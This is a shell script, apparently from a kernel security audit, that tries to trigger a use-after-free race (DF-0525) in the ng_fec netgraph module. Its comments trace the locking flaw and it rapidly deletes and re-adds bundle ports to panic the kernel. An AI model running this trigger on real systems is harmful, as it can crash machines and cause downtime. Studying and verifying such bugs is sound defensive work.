#!/bin/sh
# DF-0525 trigger / setup attempt.
#
# Claim: ng_fec_tick() (sys/netgraph/fec/ng_fec.c:562) iterates the bundle's
#   port list with TAILQ_FOREACH (line 579) while holding NO lock on the list.
#   A concurrent NGM_FEC_DEL_IFACE control message runs ng_fec_delport()
#   (line 417) which, under ifnet_lock() (430), does TAILQ_REMOVE (464) +
#   kfree(p) (465). The tick dereferences the freed list node -> UAF.
#
# This script sets up the conditions for the race (as root, since the
# netgraph control socket requires SYSCAP_RESTRICTEDROOT):
#   1. load ng_fec.ko
#   2. create an fec node (-> fec0 iface + starts nothing yet)
#   3. add two ethernet interfaces (tap0/tap1) as bundle ports
#   4. bring fec0 UP  (ng_fec_init -> callout_reset 1hz tick, line 535)
#   5. loop: rapid delport+addport of one port to race the 1hz tick
#
# EXPECTED on a kernel where ng_fec can be instantiated and the race hits:
#   kernel panic (UAF): either a slab INVARIANTS check
#   ("memory modified after free" / WEIRD_ADDR) or a NULL-deref / page fault
#   in ng_fec_tick dereferencing the freed port node.
#
# ACTUAL on master DEV #0 (with-src): the module canNOT be instantiated --
# step 2 panics in ng_fec_constructor() with "trying to free NULL pointer"
# (see panic.txt). This is a SEPARATE ng_fec defect that pre-empts the race.
# So the DF-0525 race is confirmed by source-level trace, not by live trigger.

PATH=/bin:/usr/bin:/sbin:/usr/sbin

echo "[*] loading ng_fec.ko"
kldload ng_fec.ko || { echo "kldload failed rc=$?"; exit 1; }

echo "[*] creating tap interfaces to use as bundle ports"
ifconfig tap0 create 2>/dev/null
ifconfig tap1 create 2>/dev/null

echo "[*] creating fec node (THIS panics on master DEV -- see panic.txt)"
ngctl mkpeer fec ether fec
rc=$?
echo "[*] ngctl mkpeer rc=$rc (a panic here is the constructor bug, not DF-0525)"

# If we ever got past the constructor, the race setup would continue:
echo "[*] (if node created) adding ports + bringing bundle up + racing delport"
ngctl msg fec0: addiface "\"tap0\""   2>/dev/null
ngctl msg fec0: addiface "\"tap1\""   2>/dev/null
ifconfig fec0 up                       2>/dev/null

i=0
while [ $i -lt 5000 ]; do
	ngctl msg fec0: deliface "\"tap1\"" 2>/dev/null
	ngctl msg fec0: addiface "\"tap1\"" 2>/dev/null
	i=$((i + 1))
done
echo "[*] done (no panic => race not hit this run)"
